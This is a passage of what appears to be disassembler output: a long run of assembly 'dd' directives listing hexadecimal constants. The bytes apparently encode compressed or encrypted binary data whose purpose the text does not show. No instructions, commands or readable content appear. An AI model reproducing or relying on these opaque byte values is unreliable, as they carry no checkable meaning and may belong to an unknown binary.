1BB84F0Ch, 0C1318245h, 0BF132106h, 0F33B17C8h dd 0D2107E25h, 0FAE82F82h, 0DA2D30F9h, 39140D6Bh, 6E2A1C5Dh dd 55E8CB8Ch, 42C17E3h dd 9735A128h, 221B5AA5h, 9CDF561Ah, 0A708ED4Bh, 0AEFD55D6h dd 5D449D3Ch, 314AE7B7h, 0B20974C6h, 0DF9834A7h, 79ABB41Ah dd 785009F0h, 0D2D67D27h, 14BF1FAFh, 0F7013B6Ch, 458D417Fh dd 64CC6FC4h, 0AF7156CCh, 82195128h, 7DB840A2h, 720218C4h dd 38CA3E22h, 742D5D73h, 25E2701Ah, 0C7F8D33Ah, 9F43290h dd 723E08F2h, 76CA8504h, 49AA40ADh, 57DE67Ah, 0BE22A55Eh dd 7131AF31h, 96C49DC8h, 506E1808h, 78860F09h, 8635E928h dd 177AE9E2h, 0D1A45371h, 0F9096A2Dh, 0BA2B4B8Bh, 0EA946B72h dd 0C2E4E2ADh, 0DC185D23h, 0EFB75A74h, 0A31610E0h, 124C45DBh dd 9C505455h, 78C87D85h, 33F1AD93h, 57625CA0h, 12358BB7h dd 794634DCh, 8449ACE4h, 7AD64874h, 2B25E089h, 4F16EA61h dd 5A29BF8h, 2AD66F9Bh, 9BF6D85Bh, 635FDBCEh, 74FB6830h dd 861B982Dh, 4BEDB74Ch, 0DF2E161Ah, 2FE7B236h, 0B4214B8Ah dd 4B245450h, 85404008h, 4A8D56D2h, 0D5BAC98h, 0B05E88ADh dd 494BF1D0h, 1BF3C00Ch, 6C05EC5Eh, 0C2503F2Bh, 0AD7E5BBDh dd 8FF5666Ah, 3D6AC694h, 2DE817B7h, 26B0A302h, 2F3F2BF7h dd 0DDA350F8h, 0A1257E26h, 25A9E5A8h, 0F1F8BD0h, 58DC394h dd 0E42B1D64h, 52999B48h, 481CA314h, 54751A2Eh, 19EC6188h dd 21383DD5h, 8AE81181h, 0C9E27BFCh, 4D733E2Fh, 0FE6350AFh dd 0AA61D30Ch, 52AF8B05h, 3910608Dh, 5289DF74h, 75193438h dd 1D943713h, 31C44513h, 8BFC2B36h, 5628453Dh, 0D01A334Bh dd 1C9E3485h, 437CC3CCh, 48273F83h, 3273003Eh, 39B734FFh dd 4AC83C8Dh, 59FEB04Ah, 2A0B15A1h, 774676C2h, 0EB3DAFF2h dd 55C6A5F0h, 6C74A629h, 0D14F650Bh, 3C74826Fh, 0FE35EBh dd 0CB7048Fh, 6B757C32h, 0E8C1987Ah, 0B5A920DEh, 65A655B6h dd 283DE80Ah, 4013F66Ah, 54A196BAh, 83B00C0Eh, 14046E64h dd 791D2B1h, 8B484674h, 774C4CF3h, 0E0160694h, 99E2B951h dd 31832EB4h, 5BAAE856h, 37C6233Fh, 5049C82Bh, 0CF00B73Eh dd 1BDBF740h, 23D3D0E5h, 48EED84Fh, 4831703Dh, 0CBA74D87h dd 0A97D5F89h, 9C63CE8Ah, 0ED2D4431h, 505C7BC9h, 0FB07C465h dd 0DBC73EBh, 48A3802h, 0E13D3C38h, 4697847Fh, 2F79661Ah dd 2BCED762h, 0C13C8205h, 6FA77F8h, 0D010C352h, 0BEE34AFBh dd 0FF85C909h, 0C35F3648h, 8D481A92h, 0A740418h, 57AF108Bh dd 0F67B80C0h, 0F6A35553h, 548C045Eh, 3AC6A51Ah, 7FF9EEADh dd 0A5765E08h, 0DF54A370h, 505A1394h, 0B306AAE1h, 6890653h dd 0F959038Bh, 89E9EB25h, 35117718h, 68A36B5Fh, 0D80F7584h dd 0A834E89Fh, 0C5EE7B5Bh, 0FC3D52F8h, 66013A14h, 5B103A89h dd 4C7FB7D0h, 4F0E58F7h, 0C35B76BDh, 2E78C07Bh, 135B7AB5h dd 74539C2h, 9CEB113Eh, 55F4D024h, 411E14DFh, 0EA93C6D2h dd 69FFC38Dh, 4140290Ah, 0C99EC22Bh, 2528F0A5h, 327D5DC1h dd 490E8A14h, 0F14B6D0Bh, 0E45B1C2Ah, 450BE5DDh, 125A29CCh dd 0CBC0E87Fh, 0BB4A7DCCh, 184EFF43h, 3F883913h, 39E8320Ch dd 63445969h, 0CE7D8BF6h, 0FE723B12h, 0C25EAE44h, 5FACFE86h dd 4ED801F1h, 0CD06C70Ch, 0E8A4207Dh, 3371E630h, 4EE95ECEh dd 1214A9E1h, 6F411041h, 76A8B805h, 0F1FD32B2h, 1B4A8862h dd 2708785Dh, 1E507401h, 35678C21h, 0B84C0389h, 77346E32h dd 5AC2235Ch, 0CB40F856h, 47035056h, 1228C7ECh, 0F6A5328h dd 0D1A52097h, 9C6823EDh, 4DC1317Bh, 1C1C91F4h, 0CDB98D69h dd 6A9DA0C9h, 6A191468h, 0C73822E4h, 0E9300150h, 0B8894754h dd 0E7754450h, 5D286641h, 50F3EA60h, 37DE2C68h, 0E8E04D42h dd 295F6AFFh, 0D18CD56Eh, 0DCBFC420h, 90688636h, 0A0B83B80h dd 8FAA2AFCh, 55E2089h, 5BA7FF15h, 234E2DB5h, 746F961Ah dd 856D239h, 0E166438Ah, 0CB0B023Dh, 0F43819A9h, 0B814CC5Eh dd 84734868h, 0F167CBBCh, 90F0906Ch, 30FD958Ch, 520CC7E5h dd 67884257h, 0F9F5FC4h, 3C6613C4h, 38208448h, 97F2AEFEh dd 56A945D4h, 7A448268h, 2365C021h, 0E2548827h, 423CFDD8h dd 81381108h, 4274EB90h, 0C4D24A48h, 2E5CB1CCh, 0A585480Ch dd 516134C6h, 13E8E47Ah, 0FB867808h, 0A2C66420h, 521E1636h dd 3D995BBBh, 41241FA8h, 3D2173A0h, 25FF048Ah, 0D869B5D8h dd 6A1722Ch, 7C19AD9Ch, 3E3C514Bh, 0C3D6DCE8h, 839819ACh dd 77305AFBh, 72410D09h, 67AEB003h, 0C3022420h, 5D845A3Dh dd 3B22419Ch, 71F820C0h, 2E28FB42h, 3B9D373Ah, 0EBCE45D8h dd 9654B830h, 0E142323h, 50460658h, 0DD56E846h, 1AC7D8FEh dd 5FDE4707h, 59354951h, 26EF15Fh, 5CE2DC30h, 83C88661h dd 0C12BC306h, 6B82A45Bh, 9A5D2968h, 3BC0FF33h, 668A48BCh dd 84E34615h, 22D6477h, 0B84D9B1Ch, 0B41C5B14h, 0F12F8CBBh dd 70454D90h, 9C2E813Ah, 11D16347h, 0AC5F677Ah, 368390B9h dd 22222E0Ah, 0C7F85654h, 90979F98h, 0A55FC64Bh, 8D55493Dh dd 0C0245CC6h, 86255B74h, 488460DDh, 13CD3243h, 0B249531h dd 27835F49h, 8631EE47h, 7983134Ah, 46435008h, 0FF097406h dd 0B9297C71h, 7E25D563h, 62F726E1h, 0DD297D78h, 57124965h dd 69BE05E0h, 61DD2990h, 677DA5E7h, 2D1BF996h, 902851F4h dd 0D6E027E4h, 3AB86D46h, 51CBF4ACh, 32D481C6h, 0C00B094Fh dd 51BEF6C9h, 249F2311h, 4C64AB52h, 0DC34A596h, 73010916h dd 0A80278E2h, 0CC5F0274h, 6606362Ch, 6A4D347Bh, 33FE3615h dd 0BF15FB0Ch, 28BFCE16h, 0F5B611BAh, 740C29E8h, 9FFE0D04h dd 0B0259CEEh, 0FCBE567Dh, 3539F604h, 0FE27BC4Ch, 10BFB230h dd 88D5657h, 484DBC4Ch, 3CBEA32Ah, 8988C357h, 39BC4C62h dd 83100E75h, 0BC4CA101h, 101FFE09h, 1458450h, 3A070222h dd 0F6759098h, 3102D0E8h, 0B48BFD97h, 0C6B14CFEh, 5D8A0AFEh dd 3155F089h, 0D4685000h, 0CEBE4A0h, 0F6E561B4h, 1B4F62A9h dd 0BBBCAE62h, 51404FB2h, 1CA1FFE0h, 0D3117257h, 4A244FB6h dd 8BB264ACh, 0D47B4157h, 2F94EC2Eh, 7225DC95h, 74277924h dd 387987AAh, 811DF6F1h, 6074DE73h, 564A5357h, 48256195h dd 1C450F5Ch, 0C6DB4BAAh, 8B57A109h, 0C19DDA3Dh, 9EE81857h dd 728C6A4Ah, 0A395E22h, 2595046Eh, 92ED9954h, 10E42168h dd 0F7519598h, 2EB6689h, 0AD251757h, 0F5E113Ch, 0E5488CEDh dd 0ED121C5Ah, 0FD413AEh, 6974A15Bh, 0F8D11614h, 82A16DDh dd 740A0850h, 90240834h, 0FA121096h, 4F0DB1A0h, 520AEBCh dd 9923EB41h, 0AFC1A8Ch, 6C48C4Eh, 83CC19E8h, 6C728218h dd 1B3CE9DBh, 80C4D66h, 32C123E1h, 0FEC8888Bh, 2650A126h dd 0FF853396h, 88273AABh, 14A7057h, 6A504D8Ch, 64BC17C9h dd 28212042h, 7D211D44h, 687A0B18h, 492E0357h, 19180D39h dd 5FAFE62Ah, 7DED7BCDh, 3A106637h, 0FDD4B24Eh, 9A259FD0h dd 0A53D5148h, 0D4F9255Eh, 0D682B70Dh, 0CF9D5A9h, 5597CA34h dd 845C69CAh, 55874CC3h, 36448DE0h, 136C0252h, 59384DCEh dd 0BD0B4AEBh, 9EAE4CEh, 349155E3h, 0FD96BC7h, 8D0E477Ch dd 3464093Ch, 0EB7831Fh, 4E0A6E64h, 46240DE1h, 0B8EBD6D8h dd 38D6B421h, 747E4434h, 3E101965h, 571292D1h, 0E8144982h dd 0C69B5ED4h, 47E0A026h, 398D7F7Ch, 6636E9C8h, 83724370h dd 2DB10152h, 3077C608h, 0C32DB2E9h, 7F4950B8h, 61E2D63h dd 0CF02CCF9h, 9C681458h, 0C2E410B3h, 80B82294h, 37011D84h dd 0C04B0C5h, 0E1E45AF5h dd 6184F0ECh, 10B810FAh, 0E3259180h, 84E06067h, 85A82264h dd 2432D112h, 8CC1160h, 0F012A9BFh, 0DE094EE1h, 364CAD11h dd 5022842Eh, 0C29B4581h, 0B0F5019Fh, 0 dd 87388000h, 8C8E1902h, 6A127C08h, 4A485A24h, 1C223A91h dd 40F80A44h, 0D489E48Bh, 0B624C612h, 8A91A448h, 58447222h dd 1222893Eh, 1BD12F12h, 22698AF6h, 4820D809h, 64564484h dd 8C127689h, 0AA48A224h, 0C822BA91h, 89ECD644h, 850811FCh dd 34241E02h, 5E914848h, 7E446E22h, 12A08990h, 48BC24ACh dd 22E291CEh, 860420F4h, 892A1244h, 246A1242h, 918E4882h dd 44AA229Eh, 0DE89CCB8h, 0D2EF212h, 9916987h, 44322224h dd 7089563Eh, 0A4249212h, 0D691BC48h, 88FCF222h, 38121C81h dd 60484624h, 78226C91h, 899C8A44h, 24C012B0h, 91E248D2h dd 896C7EF0h, 892809D1h, 24441236h, 91764860h, 4498228Ch dd 0D289BEAEh, 0F624E812h, 0E18A9B5Fh, 442C0922h, 5E89503Eh dd 86247812h, 0A2919448h, 0C244B222h, 1028ACEh, 8918410h dd 80068C07h, 890C090Fh, 24731274h, 910A4815h, 440D2202h dd 61CC2E01h, 0C809110Bh, 10910409h, 17440322h, 12128913h dd 5C062497h, 96800129h, 2C770730h, 0EE0E0061h, 990951BAh dd 6D7DC419h, 6AF48F00h, 63A53570h, 95A300E9h, 88329E64h dd 0A4070EDBh, 1E79DCB8h, 0D8E0D5E3h, 97D2D9h, 9B64C2Bh dd 7EB17CBDh, 0B82D0700h, 0BF1D91E7h, 10641D90h, 20F280B7h dd 71486AB0h, 0DEF3B900h, 7D84BE41h, 1ADA00D4h, 6DDDE4EBh dd 0F4F2B551h, 0D385C700h, 6C985683h, 0A8C00013h, 0F97A646Bh dd 0EC00FD62h, 4F8A65C9h, 0E14015Ch, 63066CD9h, 0FA0F3D20h dd 8000DF5h, 6E20C88Dh, 105E3Bh, 41E44C69h, 7172D560h dd 0D1A2671Eh, 473C0340h, 4B04D4h, 0D20D85FDh, 0A50AB56Bh dd 80A8FA3Ah, 0B2986C35h, 1C9D642h, 0F940DBBBh, 0F4E3ACBCh dd 750032D8h, 0CF45DF5Ch, 0DCD60Dh, 0ABD13D59h, 26D930ACh dd 1C063A4Ch, 0D7808051h, 0D06116C8h, 0F4B500BFh, 0C42321B4h dd 990056B3h, 0FCFBA95h, 72B8BDA5h, 2802009Eh, 5F058808h dd 0C00D9B2h, 0BE924C6h, 7C87B1h, 4C112F6Fh, 1DAB5868h dd 3DC16100h, 90B6662Dh, 76DC0041h, 1DB7106h, 0D20020BCh dd 0D5102A98h, 7E8589EFh, 0B51F00B1h, 0E4A506B6h, 33009FBFh dd 0A2E8B8D4h, 387807C9h, 0F00F934h, 9609A88Eh, 0E009818h dd 6A0DBBE1h, 3D2D7Fh, 6C97086Dh, 5C019164h, 0F4E66307h dd 62136B51h, 0D81CE861h, 85651C30h, 0F2073D4Eh, 0D00695EDh dd 1B01A57Bh, 8F4C100h, 0FC45782h, 0D9C600F5h, 0E95065B0h dd 0EA0012B7h, 7C8BBEB8h, 0FCB988h, 62DD1DDFh, 15DA2D49h dd 0D300F37Dh, 0D44C658Ch, 126158FBh, 9CE4DB2h, 0D4003A2Dh dd 30E2A3BCh, 41D4BB00h, 0D74ADFA5h, 0C4D86095h, 0FBA4D1C4h dd 0D3D6F400h, 4369E96Ah, 6ED913FCh, 67A40034h, 60B8D0ADh dd 2D73DA00h, 1DE54404h, 5F330003h, 0C9AA0A4Ch, 0DD070D7Ch dd 5005713Ch, 27024190h, 0BE210h, 0C2086BEh, 68B525C9h dd 85B3570Fh, 0D409406Fh, 9FB966h, 0ECE61E4h, 985EDEF9h dd 29D9C90Eh, 0B0D0A022h, 1D7A8B4h, 0B33D17C7h, 0E80D8159h dd 5C003B2Eh, 6CADB7BDh, 20C0BAh, 0B6EDB883h, 0C9ABFB3h dd 375E276h, 74B1D200h, 0EAD54739h, 7779AFh, 0DB26159Dh dd 0DC168304h, 0B127300h, 3B84E363h, 3E940164h, 0A80D6D6Ah dd 0FC7AD55Ah, 0E4010ECFh, 9309FF9Dh, 5370AE27h, 79E0FB1h dd 0F40447Dh, 8A3D2F0h, 0F2688700h, 0C2FE1E01h, 5D690006h dd 0CBF76257h, 80036567h, 196C3671h, 6E6BF8E7h, 0D41B0076h dd 0D32BE0FEh, 7A005A89h, 4ACC10DAh, 1C6F67DDh, 43F9B9DFh dd 438EBEEFh, 0D517B798h, 600EB0ECh, 20D6A3E8h, 0A1D1937Eh dd 0D8C200C4h, 0DFF25238h, 673EF14Fh, 5700F3BBh, 6DDA6BCh dd 4B3FB5h, 0DA48B236h, 4CD80D2Bh, 0AF0A1B03h, 0F0034AF6h dd 1D047A60h, 8EEFC341h, 674755DFh, 6E8E70A8h, 0BE007931h dd 0B38C4669h, 1ACB61h, 0A0BC6683h, 36256FD2h, 5268E200h dd 0CC0C7795h, 0B470003h, 216B9BBh, 26002F22h, 3BBE5505h dd 0FE28C5BAh, 92B200BDh, 42BB45Ah, 5C00B36Ah, 0C2D7FFA7h dd 0D0CF31h, 0D99E8BB5h, 0DEAE1D2Ch, 0B05B3Fh, 0F2269B64h dd 9CEC63h, 0A756AA3h, 0A9026D93h, 8009063Dh, 0EB0E363Fh dd 1C076785h, 571372h, 0BF4A8205h, 7A001495h, 2BAEE2B8h dd 387BB1h, 9B0CB61Bh, 0D92D28Eh, 0E5D5BE00h, 7CDCEFB7h dd 0DBDF0F21h, 0D3E1D40Bh, 0D8E24286h, 0B300F8F1h, 836E68DDh dd 0CD1FDAh, 5B81BE16h, 0E1F6B926h, 6FB0771Ch, 18B747C1h dd 7E305AE6h, 0F6A0070h, 63BCAFFh, 0B1E5C66h, 9E401101h dd 0AE698F65h, 0D3F83C62h, 616B93h, 78166CC5h, 0A0000AE2h dd 0D70DD2EEh, 48354h, 3B3C24Eh, 67266139h, 16F7A700h dd 474DD060h, 0DB490069h, 4A3E6E77h, 0AE00D16Ah, 0D9D65ADCh dd 3DF0B66h, 0D83BF040h, 0BCF05337h, 9E00C5A9h, 0CF7FDEBBh dd 3E947B2h, 1C30B5FFh, 8A88BDF2h, 0CA79BAC2h, 53B39300h dd 24B4A3A6h, 0D0363E05h, 0D70600FBh, 0DE5729CDh, 6700BF54h dd 7A2E23D9h, 0B8B366h, 2C4614Ah, 945D681Bh, 2A6F2B00h dd 0B40BBE37h, 0C8E1FA1h, 5DFC0C3h, 2EF8D5Ah, 59432D02h dd 0EA524542h, 47083104h, 722054F8h, 0EC48752Fh, 0F31EC50h dd 0A0D302Eh, 74736F40h, 2575203Ah, 754114C7h, 72D06897h dd 0EF617A69h, 126EBBD3h, 1B654E26h, 1A7714CCh, 4591DABh dd 0C71CC34Ch, 8C070A71h, 9E01553Fh, 70FF11C5h, 0F531FC8Bh dd 1932C23Fh, 241C5008h, 3411BF46h, 0C810D03Fh, 5C80C224h dd 0B669C233h, 15104640h, 981862C0h, 0CA3A8051h, 70D4111h dd 0CA83126Fh, 31F04517h, 99DA0A88h, 5F091E2Eh, 3E4C47C4h dd 0F074424Fh, 7D457D48h, 0FB537550h, 0F45443DCh, 319FE144h dd 0DF565E4Dh, 3E482352h, 37030614h, 306DD01h, 0EE02FA10h dd 2456404h, 30352105h, 2103C244h, 0C0382820h, 0E0080758h dd 79307137h, 21B8F157h, 0A917A3FCh, 67CB6860h, 16701203h dd 0AEFF0378h, 0F83BC845h, 5340FDFh, 281C0F1Ch, 751C6E1Ch dd 29056C19h, 0FF28AA4Ch, 17ECEFFBh, 0C879795Fh, 0C8B03109h dd 37657266h, 81397078h, 40646F6Dh, 79685F24h, 1074E9FFh dd 6B626163h, 8B082173h, 663F4C20h, 1750428Bh, 6F6C1062h dd 110DB143h, 0BE696563h, 6174118Dh, 0B96FF1A8h, 10DD7F36h dd 0F472718Fh, 2B613214h, 2D089A32h, 3C174210h, 340C4BEDh dd 4508A368h, 2FA2082Fh, 67B6C308h, 11403031h, 44E17789h dd 0C0012C7Eh, 50017E12h, 41808022h, 49E04772h, 5172F873h dd 0BDDB816Fh, 0D9468A0Eh, 0CB4675CAh, 941CDE20h, 4B267D6Eh dd 54E1272h, 3323365h, 302B6535h, 0A8A9288Fh, 4220C407h dd 0E109CE06h, 801104Dh, 1048224Ah, 3211CD28h, 7A181108h dd 7E109D24h, 0DC462829h, 0ADE57419h, 25AD0838h, 681199C6h dd 0E218089Dh, 0EF312603h, 4842F313h, 5820D0BDh, 0DE206774h dd 8E432C4Ah, 9210312Ch, 41757209h, 316D69B3h, 1FCDCBEDh dd 50643BCFh, 5342C354h, 8D0E248Dh, 4E49F4FCh, 0DC0F4752h dd 4D4F4405h, 124EFC0Ah, 18365250h, 12383230h, 90D4202Dh dd 906C319Eh, 43EA6F74h, 4197954Ah, 1C520CCBh, 70E1E768h dd 28023849h, 216E1137h, 0A7CB0E2h, 0F6686775h, 96704873h dd 0F1664866h, 697776A0h, 8BA639A5h, 9C533868h, 2BC44C6Bh dd 35593864h, 9B927008h, 694C76EAh, 44DA7816h, 63A60568h dd 6F7B241Eh, 1952DA1Ah dd 604F3428h, 21565FCDh, 2FBA9A05h, 0DD0708B2h, 6023E321h dd 0F839318Ah, 0BE7093F3h, 1A64D2B3h, 0BB432113h, 2CA5E87Ch dd 5C923891h, 0EC82E853h, 0AB1A9164h, 11244858h, 0C26DF237h dd 8AD0B33h, 611AC09Dh, 63228218h, 0AD30BC6Bh, 6E35C818h dd 5FFE5B53h, 89A30641h, 266D7244h, 79827001h, 6FEBFD67h dd 15F29642h, 15E73037h, 6A503F39h, 56B24222h, 44E06B6Dh dd 8D382C5Eh, 0A8FF1C6Fh, 73482975h, 6110A560h, 62B54D2Ch dd 8F676EDFh, 0CD0C1B83h, 8E253B5Ah, 89805527h, 0C22E0D4Dh dd 3D663A43h, 9177562Ch, 2B430EABh, 7352D33Eh, 62AA4C9Dh dd 794AB58Eh, 5D0A1A28h, 22451731h, 2421320Fh, 3AD5B050h dd 2E41CD20h, 4A3CC102h, 0B3E141E6h, 4A6B5A4Dh, 387213DAh dd 3D40E508h, 5309CCE9h, 0D5A14D36h, 5765D854h, 68B386A3h dd 697246E8h, 0C061532Ch, 1CC44A45h, 4D62D4C1h, 9241E49Bh dd 0EC790C3Fh, 0F96C064Eh, 6553E640h, 994F4870h, 766F4E07h dd 4CF49E44h, 85A5419h, 4C74EC47h, 41E854B8h, 765C579Ah dd 39034803h, 8145575h, 0EAA15710h, 4D487464h, 613F27BAh dd 0AE423D67h, 31033F78h, 0B74E5123h, 61111A2Eh, 91C24646h dd 530C4408h, 84A031D1h, 0BE0E60BAh, 29A86196h, 102D0361h dd 107E2C09h, 0D52264E2h, 6266F620h, 654C2178h, 0B3673230h dd 76DC32E8h, 646406C9h, 69937216h, 0E191FD3Ch, 59C43138h dd 1418665Bh, 43201A8Ah, 83968CB3h, 6608E012h, 31F7287Fh dd 13113862h, 9CC0668h, 94365549h, 0D77824DFh, 42467015h dd 730E7E01h, 1001E06Dh, 90503E3h, 19930520h, 8A1068DAh dd 468E3A6Ah, 3A6B0710h, 7F0C520Bh, 46036C40h, 115C336Dh dd 44090B60h, 0A4B643D7h, 5C640C8Ch, 192F0131h, 0E0687DF8h dd 0CB0109A1h, 7E104AC8h, 402014ADh, 7C291C66h, 48025211h dd 47E40B1h, 3224C2Eh, 44D05847h, 9C296832h, 8C914C9Dh dd 0A08FA4BCh, 29B46544h, 2BF83FC0h, 46A30D8h, 146DF045h dd 7EF83C01h, 3091704Ah, 787F1C84h, 4D288944h, 2AC4814h dd 49A17089h, 11FF7101h, 1C486DE0h, 3010D1D8h, 23DEA0C8h dd 0C1E6E04h, 48D0C421h, 3CE09E01h, 0F42AB442h, 490B842h dd 5868F829h, 4043D7CAh, 0A0602A29h, 80082928h, 0EC28F290h dd 930C7968h, 0D0126C09h, 1C0E142Dh, 18231C22h, 0BC7C1066h dd 13038982h, 48D93264h, 74982C09h, 8A46568h, 0CC6CC6FFh dd 0C8983C53h, 24815EA0h, 0C4210F4Eh, 290F60F9h, 9CF9E0E8h dd 0DEC8A84Bh, 3C810CE2h, 15DC7757h, 88A88128h, 81487872h dd 0A1B8CA85h, 64BAE240h, 0B0106C31h, 28AE0283h, 8C81264Bh dd 89471D8h, 3CB214B8h, 0D844E024h, 67A83881h, 4A70198Ch dd 959776C8h, 10ECF7D8h, 0E4E4E57h, 4323645Fh, 9B8F6E6Fh dd 327ECD44h, 50074DE0h, 6C642E52h, 5714181Eh, 0D0CAFD53h dd 3047DC2Bh, 335F3219h, 71957E7h, 0A14505B9h, 94B46DC2h dd 433D70E2h, 48F4786Ch, 3A6E6137h, 1C660D6Eh, 743F2F3Ch dd 75621ED3h, 0C470017Dh, 64314D7Eh, 69463C75h, 0C64E0893h dd 0C1422D48h, 7379530Dh, 6944FC54h, 6FFB7267h, 562EB85Fh dd 44536F03h, 691F70AEh, 89549646h, 835C927Ch, 32F26C1Fh dd 4C41AD74h, 0D84FF342h, 1480851Fh, 7E754A43h, 6E54CA75h dd 89495194h, 0EC017166h, 4CD99C4Eh, 4DD4384h, 407970CAh dd 0D1CC1946h, 9C760B38h, 75620DBEh, 5EA808B0h, 94168F84h dd 66E4BE7Fh, 901E29E2h, 69DB5703h, 53AE2756h, 4F24FB0Ch dd 0C06A622Ah, 0B48E0A90h, 78754D64h, 5442DF48h, 2F404369h dd 0CBA375F2h, 0B6ED035Fh, 8AD74229h, 1A822D5h, 28507033h dd 6E651968h, 5C76D202h, 4CF852E4h, 0B327D2B4h, 0A03934ADh dd 5DDF3559h, 38F7A9AFh, 9BF81429h, 0E1247C6Fh, 50EF5672h dd 92D8729Ah, 6E3C49FCh, 0E9256466h, 42245623h, 4595DD73h dd 0BCBA2497h, 5151586Ah, 0E610CCB6h, 2672B983h, 0B3536BC9h dd 98303705h, 1FAD6D4Ch, 2240B18h, 2391E549h, 8741641Dh dd 1170A51Dh, 8189EDDEh, 413CB03Ah, 203AA448h, 0E0E38672h dd 9430934Fh, 6E268045h, 2B54162h, 5C945452h, 1C53141Bh dd 5E890CD5h, 0F5A53A1Ch, 0C4933038h, 0C96C7075h, 7A9474B9h dd 0B908424Ch, 8ECADCC3h, 0AD706919h, 359226E0h, 0C1B5AE6Dh dd 87477402h, 70BF4412h, 66563E2h, 4CE35315h, 16DA708Ah dd 0E0E046BAh, 1744E1C5h, 0CD3F3F1Dh, 650C90B9h, 182DC464h dd 0F197B4Dh, 3E54DCC1h, 6C7863C2h, 8B14B057h, 8D085110h dd 1BC1110Dh, 508B8A32h, 0D1DCC9CBh, 9702EEA8h, 0F9CD4325h dd 0AD8863DEh, 4C32DD66h, 4DA2748Eh, 704CC9FAh, 0A4BA576h dd 6E24C1FCh, 85C544A2h, 0B755A937h, 1096F938h, 0A30CAC8Ch dd 56755102h, 8506579h, 6EF12166h, 0B046F663h, 1AA4C1CAh dd 0E3FB46F9h, 12266771h, 0DF80779h, 39FBF619h, 2F545994h dd 6FC59645h, 0A4722A56h, 16E057B7h, 42480225h, 282C0B8Ah dd 418E0CBCh, 48FA3B6Ch, 50A5BCECh, 3C611693h, 2B560389h dd 75524634h, 0B8249219h, 2543FE23h, 3C5C4D24h, 0CEC5D565h dd 9CCE4824h, 0A724F31Ch, 0A804CCCBh, 69020A40h, 5BF8C247h dd 0D16E5533h, 320236Bh, 3F0E4C95h, 5E30EC71h, 65D6C170h dd 33664F77h, 62682C59h, 54E41021h, 356968CFh, 0AD67C026h dd 0A5961F48h, 86BA3537h, 0BC650E21h, 4A704092h, 5F019E94h dd 92032553h, 0A443942Dh, 524164CAh, 21112168h, 42A74C0Ah dd 1EB6796Eh, 0DA0C0255h, 8021332Eh, 0BE6C03C3h, 6D630D3Bh dd 5A7092E6h, 97D55234h, 9C648D09h, 2913DE2h, 0B16BFCFDh dd 326413D9h, 0CC4C78BFh, 8C506758h, 0FB76E444h, 0F0044995h dd 899031D5h, 2D3DC64Bh, 0D47C1A48h, 3F7E5650h, 74497AD7h dd 7B772621h, 2E22CB8h, 0BB455A51h, 4F54228Dh, 91C8DAD8h dd 65E8C86Ch, 0A2105AB7h, 0D870A6A5h, 70BB104Bh, 98AC1DA4h dd 5C247EB6h, 84F65CE8h, 0FD18584Ch, 90145094h, 0F11211D6h dd 15D66F24h, 78560E12h, 0CA836C64h, 0CA37480Ah, 0BBC80E81h dd 82360BCEh, 62427370h, 6835C617h, 21F07C50h, 0E4CBD84h dd 1C59FDC9h, 0C941A35h, 454F1602h, 0A70C854Dh, 2813EE13h dd 4565AE1Fh, 701C956Bh, 16D6CF4Ch, 43F00934h, 0CAB2E82Ah dd 104594EAh, 0B30E57E2h, 1B68324Bh, 42759D72h, 9A32FB53h dd 0A706C6F6h, 3BF745F8h, 55A2641Ah, 1943149Fh, 18575370h dd 248249A4h, 0F56C7C92h, 0B9C43894h, 0BB648A98h, 6626B8E7h dd 70795890h, 60A13781h, 1DEEE51Eh, 1404E68Ch, 423C2068h dd 9DC96638h, 85BA2866h, 34826386h, 69BDF825h, 4AF19012h dd 33ACFD91h, 0A3268893h, 29B8876Ah, 0B0241030h, 10141068h dd 0FAD0413Eh, 3AE057CEh, 48992DE1h, 6A917B01h, 12693B65h dd 6813E59Ah, 0DBE93047h, 6E1AA7F4h, 3075011Dh, 0 dd 3C30000h, 81401205h, 891D878h, 0E6D3109Ah, 520E0146h dd 6D0341D0h, 36814202h, 2008BE39h, 29018C47h, 420C39DBh dd 811C4763h, 6820201h, 42917480h, 4AA408A4h, 72631001h dd 8B121462h, 0E484040Ch, 59450C07h, 111CCD1h, 8A3C753h dd 2E042885h, 4120589h, 61441098h, 456B7238h, 16F62DCh dd 376C6573h, 0BD347620h, 8F5FCF1h, 652AC173h, 0CC692E72h dd 663C7163h, 6D751E6Fh, 34E30B7h, 8B414623h, 1C1CAD4Bh dd 242E644Ah, 596D9E5Dh, 0BE67076Eh, 78659CD4h, 697721B1h dd 0E174F3F7h, 20D36162h, 64035719h, 2073776Fh, 768C1D53h dd 419E3B63h, 176E1467h, 282D5270h, 8A79731Ch, 729642Eh dd 0EA2B782Dh, 66230A18h, 99985004h, 9178FCA1h, 38225809h dd 0C531844h, 7774666Fh, 5C0E65D4h, 0D463694Dh, 541D6FD3h dd 4307DE63h, 0BD1C7275h, 0FD4DF56h, 0DF1F6F69h, 8270FE52h dd 0A5E8301Dh, 0FDD74E4Dh, 4F0C383Ah, 5931454Ch, 4DEE54E4h dd 0BAEF3CACh, 6C3C6670h, 0B3CD070h, 104C12DEh, 88AC816h dd 98F88CACh, 0DC89E808h, 0CC24D412h, 0BC91C448h, 0A844B022h dd 48FC8BA0h, 2284918Ch, 6C70447Ch, 60126489h, 0E8050128h dd 543F43D7h, 50445C22h, 123C8944h, 48282430h, 22209124h dd 1418441Ch, 4120C89h, 2297FC23h, 0E844F408h, 12D089DCh dd 48C024C8h, 22B091B8h, 9A045A8h, 1132CF98h, 24880990h dd 0A1744880h, 116C19ACh, 0D4B1F264h, 5411995Ch, 44124C09h dd 3C484024h, 24223091h, 89101844h, 96FC1104h, 0F024F802h dd 0DC91E448h, 0CC44D422h, 12BC89C4h, 48B024B4h, 22A891ACh dd 9CA044A4h, 90129889h, 80488824h, 70227891h, 89646844h dd 99581260h, 4C125014h, 40484424h, 30223891h, 0A6202844h dd 10184454h, 0FC110889h, 22F00395h, 0DC44E809h, 12CC89D4h dd 48C024C4h, 22B491BCh, 98A444ACh, 23158889h, 113280B8h dd 246C0978h, 9154485Ch, 0A43C2240h, 113466CCh, 2C440930h dd 150C8918h, 0E408E823h, 94F80958h, 0C822F9DDh, 0DC91E409h dd 0D044D822h, 12C089C8h, 48B024B8h, 1F5CA9ACh, 714826A0h dd 323037C4h, 69690910h, 65D16192h, 6C347063h, 0DDA8C712h dd 78CCC224h, 7371707Fh, 2BD662E0h, 0DD871D24h, 29F6AB19h dd 6C33218h, 0F51870C0h, 99696BF0h, 19681AC9h, 6D651F60h dd 0BBEDED98h, 7170E641h, 49645C20h, 63C34058h, 26407369h dd 6D666268h, 0FEBB7288h, 1A47EB74h, 606A7177h, 0A4126F14h dd 1A2C145Ch, 31626440h, 34332A32h, 